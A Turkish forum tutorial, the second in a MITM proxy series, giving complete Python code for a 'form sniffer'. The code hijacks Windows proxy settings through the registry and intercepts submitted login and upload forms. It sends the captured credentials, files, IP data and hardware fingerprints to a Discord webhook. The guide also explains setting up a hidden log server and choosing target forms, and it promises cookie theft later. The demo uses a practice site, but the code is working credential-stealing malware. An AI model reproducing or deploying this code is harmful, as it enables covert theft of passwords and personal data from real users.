REHBER #2 HAKKINDA
Merhabalar, 1. rehberimizde MITM proxynin genel mantığını user-agent değiştirme projesi üzerinde, virtual env üzerinden çalıştırılmasını, MITM proxy sertifikalarının kurulumunu, proxy ayarlarının yapılandırılmasını görmüştük (bonus olarak ise random user-agent sistemini chazımızı çalıştırmıştık). Bu 2. dersimizde ise MITM proxy ile belirli siteler üzerinde form verilerini (kullanıcı adı, şifre, e-posta vb.) yakalamayı öğreneceğiz. Instagram, Facebook gibi bazı büyük şirketlerin form verileri şifreli olabiliyor bu eğitim bu sitelerdeki hesaplara erişmeyi kapsamayacak ama ilerleyen vakitlerde kullanıcıların çerezlerinede erişeceğiz. Ek olaraktan eğer siz isterseniz 1. derste anlatmış olduğum manipülasyon tekniği ile form verilerini manipüle edebilir, form içerisinde sunucuya iletilecek olan şifre, kullanıcı adı, resim, e-posta adresi gibi verileri değiştirebilirsiniz.
Önemli bir not: Virtual Env kurmak, MITM Proxy'nin sertifikasını yüklemem ve proxy ayarlarını yapılandırma kısımları bu rehber üzerinde anlatılmayacaktır. Bu konular hakkında bilgi sahibi değilseniz veya bilgi sahibi olmanıza rağmen hata alıyorsanız 1. rehberime göz atmanızda gerçekten fayda var.
EĞİTİMDE KULLANACAĞIMIZ ÖRNEĞİ TANIYALIM
Konu içerisindede örneğin kaynak kodlarını vereceğim ancak MITMProxy'nin Python API kısmını yüklemek bazen sancılı olabilyor. Bu nedenle içerisinde requirements.txt'si de bulunan örneğin github sayfasını veriyorum. Burada hazırladığım requirements.txt Python 3.8.6 sürümde stabil olarak çalışmakta, bir virtualenv oluşturarak ve daha sonra virtualenv'i aktif ederek requirements.txt'yi yüklemeniz yeterli olacaktır.
Örneğin GitHub sayfasına gitmek için tıkla.
Python:
import asyncio, requests, json, winreg, platform, GPUtil, cpuinfo, uuid, wmi
from mitmproxy import options, http
from mitmproxy.tools import dump
from rich.console import Console
from discord_webhook import DiscordWebhook, DiscordEmbed
console = Console(width=100)
console.print(f"[bold dark_orange]THT FORM SNIFFER (EĞİTİM AMAÇLIDIR / FOR EDUCATION)[/bold dark_orange]", no_wrap=True)
# SECTION Kodun çalışması için genel ayarlar.
LISTEN_HOST = "127.0.0.1"
LISTEN_PORT = 1881
NET_DUMP_LOG = False
START_PROXY_WHEN_OPENING = True
WEBHOOK_URL = "https://discord.com/api/webhooks/1262161347706355792/gcfFikUUJEj8Q-zkuIOf4D44eDd1isiOaWLMYnouf1WbMtKA38nyv3z4tSqCM88HX4y5" # NOTE Bu webhook discord üzerinden silinmiştir örnek olarak koyulmuştur.
SNIFFED_ADRESSES = ["https://practice.expandtesting.com/authenticate", "https://practice.expandtesting.com/upload"]
# !SECTION
# SECTION Proxy ayarlarını bu iki fonksiyon yapılandırır.
def set_proxy_settings():
try:
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Internet Settings", 0,
winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, "ProxyEnable", 0, winreg.REG_DWORD, 1)
winreg.SetValueEx(registry_key, "ProxyServer", 0, winreg.REG_SZ,
f"{LISTEN_HOST}:{str(LISTEN_PORT)}")
winreg.FlushKey(registry_key)
winreg.CloseKey(registry_key)
except Exception as e:
print("Proxy ayarlarını güncellemede bir hata oluştu:", e)
def disable_proxy_settings():
try:
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Internet Settings", 0,
winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, "ProxyEnable", 0, winreg.REG_DWORD, 0)
winreg.FlushKey(registry_key)
winreg.CloseKey(registry_key)
except Exception as e:
print("Proxy ayarları kaldırılırken bir hata meydana geldi:", e)
# !SECTION
# SECTION Yazılım çalıştığı cihazın bilgilerini çeker.
def get_system_info():
cpu_info = cpuinfo.get_cpu_info()
c = wmi.WMI()
bios_info = c.Win32_BIOS()[0]
system_info = {
"device_name": platform.node(),
"os": platform.system(),
"os_version": platform.version(),
"platform": platform.platform(),
"processor": cpu_info.get('brand_raw', 'Unknown'),
"bios": {
"manufacturer": bios_info.Manufacturer,
"version": bios_info.Version,
"release_date": bios_info.ReleaseDate
},
"hwid": str(uuid.UUID(int=uuid.getnode())),
"gpus": []
}
gpus = GPUtil.getGPUs()
for gpu in gpus:
gpu_info = {
"id": gpu.id,
"name": gpu.name,
"driver_version": gpu.driver,
}
system_info["gpus"].append(gpu_info)
return system_info
# !SECTION
# SECTION Yazılım açıldığında otomatik olarak sistem proxysini ayarlar.
# NOTE İsteğe bağlı genel ayarlardan kapatılabilir.
if START_PROXY_WHEN_OPENING:
set_proxy_settings()
# !SECTION
# SECTION Yazılım ana kod parçacığı.
class RequestLogger:
async def request(self, flow: http.HTTPFlow):
if str(flow.request.method) == "POST" and flow.request.url in SNIFFED_ADRESSES:
try:
disable_proxy_settings()
get_content_type = flow.request.headers.get("content-type")
if "multipart" in get_content_type:
get_form = str(flow.request.content)
file_type = ".txt"
else:
get_form = flow.request.urlencoded_form.copy()
normal_dict = {}
for key, value in get_form.items():
if key in normal_dict:
if isinstance(normal_dict[key], list):
normal_dict[key].append(value)
else:
normal_dict[key] = [normal_dict[key], value]
else:
normal_dict[key] = value
get_form = json.dumps(normal_dict, indent=4)
file_type = ".json"
try:
get_ip_adress = requests.get("http://ip-api.com/json/", verify=False).json()
get_ip_adress = json.dumps(get_ip_adress, indent=4, ensure_ascii=False)
except:
get_ip_adress = "Bulunamadı."
system_info = get_system_info()
system_info = json.dumps(system_info, indent=4)
webhook = DiscordWebhook(url=WEBHOOK_URL)
embed = DiscordEmbed(title="MITM PROXY", description="Yeni bir form verisi yakalandı.", color="03b2f8")
embed.add_embed_field(name="İstek Yollanılan Adres", value=flow.request.url, inline=False)
embed.add_embed_field(name="IP Bilgisi", value=f"```json\n{get_ip_adress}```", inline=False)
embed.add_embed_field(name="Cihaz Bilgisi", value=f"```json\n{system_info}```", inline=False)
embed.set_footer(text="THT FORM SNIFFER", icon_url="https://upload.wikimedia.org/wikipedia/commons/2/2e/T%C3%BCrkHackTeam_Logo.png")
embed.set_timestamp()
webhook.add_file(get_form, f"form{file_type}")
webhook.add_embed(embed)
try:
webhook.execute()
except Exception as e:
print(e)
set_proxy_settings()
except Exception as e:
console.print(e, no_wrap=True)
# !SECTION
# SECTION Yazılımın asenkron çalışması için gereken kısımlar.
async def start_proxy(host, port):
opts = options.Options(listen_host=host, listen_port=port)
master = dump.DumpMaster(
opts,
with_termlog=NET_DUMP_LOG,
with_dumper=NET_DUMP_LOG,
)
master.addons.add(RequestLogger())
await master.run()
return master
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
async def create_tasks_func(host, port):
tasks = []
tasks.append(asyncio.create_task(start_proxy(host, port)))
await asyncio.wait(tasks)
def main():
try:
loop.run_until_complete(create_tasks_func(LISTEN_HOST, LISTEN_PORT))
loop.close()
except Exception as e:
print(e)
if __name__ == '__main__':
main()
# !SECTION
ÖRNEĞİN ÇALIŞMA MANTIĞI
PROJENİN CİHAZDA ÇALIŞTIRIŞMASI
1-2-3-4-5-6. İşlem Basamakları
Proje dosyalarının nasıl indirime, python sanal ortamını (VENV) oluşturmak ve aktif etme, gerekli modülleri yükleme, kodu başlatma, cihazımızı MITM Proxy'e bağlama, isteğe bağı olarak diğer cihazlarımızı MITM Proxy'e bağlama, MITM Proxy sertifikasını yükleme basamaklarını zaten 1. rehberimizde anlatmıştık. Bu nedenle bu rehber içerisinde anlatıp konuyu boğmak istemiyorum. 1. rehberimize göz atmadıysanız ve bu paragrafın başında söylediklerim için hiçbir fikriniz yok ise 1. rehberime göz atmanızı öneririm.
7. Güvenli Log Sunucusu Kurma ve Webhook Oluşturma
Dinlediğimiz form verilerini aktarmak için bizim bir discord hesabına ve bu discord hesabının sahip olduğu bir sunucuya ihtiyacımız var. Kendimizin sahip olduğu bir sunucunun olması gerekliliği şundan kaynaklanmakta: Sunucu içerisinde kanal oluşturabilmeli ve WebHook (web kancası) oluşturabilmeliyiz bu kadar. Bu sunucuyu sadece kendimizin görmesi ve dış kişilere kapalı olması için sunucumuzda bir davet linki oluşturmamalı ve bunu diğer kişilerle paylaşmamalıyız (davet bağlantısını paylaşmadan sadece oluşturmakta sıkıntı olabilir checkerler ile private discord sunucularına giriş yapan ve bulan kişiler mevcut). Davet bağlantısı oluşturarak logları bir başka kişininde görmesini istiyorsak tek kullanımlık bir davet bağlantısı oluşturmalı ve bunu o şekilde logları görmesini istediğimiz kullanıcıya yollamalıyız (arkadaşımıza vs.). Buna ekstra güvenlik olarak ise kanalı sadece bizim belirlediğimiz role gözükecek şekilde ayarlayabiliriz... Bu yazılı olarak verdiğim bilgilerin birde videolu kaynak halini hazırladım. En güvenli şekilde log sunucusu kurmak için aşağıdaki videoyu takip ederek log sunucunuzu kurabilir ve webhook oluşturmayı öğrenebilirsiniz:
8. Kodu Kendimize Göre Yapılandırma
Bu adımda 7. basamakta oluşturmuş olduğumuz Webhook'u kodumuza entegre edeceğiz ve formlarını yakalacayacağımız sitelerin host adresini alarak nasıl kodumuza ekleyeceğimizi öğreneceğiz.
8.1 Discord Webhook'u Kodumuza Entegre Etmek
7. basamakta oluşturduğumuz webhook'un bağlantısını panoya kopyalayalım ve kodumuzda aşağıda belirttiğim kısımı sizin webhook bağlantınız ile değiştirelim.
Öncesi
Python:
WEBHOOK_URL = "https://discord.com/api/webhooks/1262161347706355792/gcfFikUUJEj8Q-zkuIOf4D44eDd1isiOaWLMYnouf1WbMtKA38nyv3z4tSqCM88HX4y5"
Sonrası
Python:
WEBHOOK_URL = "sizin webhook bağlantınız"
8.2 Formunu Dinleyeceğimiz Sayfaları Koda Eklemek
Form verilerini yakalayacağım sayfanın, formun gittiği adresi bilmemiz gerekiyor. Yani kodumuzdaki "SNIFFED_ADRESSES" değişkenine kendi bağlantılarımızı ekleyeceğiz. Ben örnek olarak Practice Test Automation WebSite: Web UI & REST API Samples sitesi üzerinden size nasıl adreslerin bulunabileceğini ve koda eklenmesini göstereceğim.
1. Olarak öncelikle tarayıcımıza giriyoruz ve verilerin gittiği bağlantıyı görmek için geliştirci konsolunu açıyoruz (F12 veya CTRL + SHIFT + I kısayolunda olur). Eğer geliştirici konsolunun tarayıcınızda nasıl açılacağını bilmiyorsanız internetten araştırın. Daha sonrasında geliştirci konsolundan "ağ" (network) penceresine geliyoruz (ağ sekmesine geldikten sonra siteye bir f5 atmanızı öneririm bazen takılmalar olabiliyor).
2. olarak form verilerini geçerli yada geçersiz bir şekilde doldurup. Sitemizde doldurduğumuz formu hangi buton sunucuya gönderecekse (bu örnekte "login" butonu) ona basıyoruz ve geliştirci konsoluna gelen POST verilerini inceliyoruz. İlk görselde gördüğünüz gibi bende 5 numaralı yerde form verisinin gittiği bağlantı geldi ancak sizde birden fazla POST verisi gelmiş ve konsol karışmış olabilir. Asıl form verisinin gittiği bağlantıyı bulmak için 2. görselde attığım gibi bağlantıya tıklanır (6 numaralı yere) daha sonrasında "istek" (payload olarakda adlandırılır) yazan yere yani 7 numaralı yere tıklanır. 8 numaralı yerdeki gibi doldurduğunuz form verisi bu şekilde istek penceresi içerisinde gözüküyorsa bu sizin koda ekleyeceğiniz bağlantıdır.
8.3 Opsiyonel Olarak Bütün Trafiği Görmek
Merhaba bu başlık tamamen kişisel tercih olarak size kalmış. Aşağıdaki vermiş olduğum değişkendeki değeri True konumuna getirerek cihaz üzerindeki bütün internet trafiğini python konsolu üzerinde görebilirsiniz.
Python:
NET_DUMP_LOG = True
9. Kodu Çalıştırmak
İlk konumda bahsettiğim seritifikasyon proxy gibi ayarları ve bu konu içerisinde bahsettiğim ayarları yapılandırdıktan sonra kodumuzu başlatabiliriz. 1. konunun içeriğinde virtual env ile birlikte kodun nasıl başlatılacağından bahsetmiştik aynı adımları takip ederek kodu başlatabilirsiniz.
SONUÇLAR
Evet kurulumu ve kendimize göre ayarları yaptığımıza göre şimdi sonuçlara göz atalım. Ben Login form page for Automation Testing Practice sayfası üzerinden test amaçlı olarak alt görseldeki giriş formunu doldurarak yollayacağım ve kodumuzun yakaladığı form verilerini discord sunucusuna yollamış olduğu log kaydı üzerinden göreceğiz.
Sonuç olarak discord sunucumuza aşağıdaki gibi bir log geldi ve işlemin başarılı olduğunu görebiliriz.
Ekstra olarak görsel veya dosya yaklayabileceğimiz bir örnek üzerinde nasıl çalıştığını görelim. Ben Files Upload page for Automation Testing Practice sayfası üzerinden bir görsel seçiyorum ve yüklüyorum.
Sonuç olarak discord sunucumuza aşağıdaki gibi bir log geldi ve bu işleminde başarılı olduğunu görebiliriz.
Ek olarak: Siz daha fazla deneme yapmak istiyorsanız Practice Test Automation WebSite: Web UI & REST API Samples sayfası üzerinden form verilerini yakalama pratikleri yapabilirsiniz.
Konumu sabırla okuduğunuz için teşekkürler...

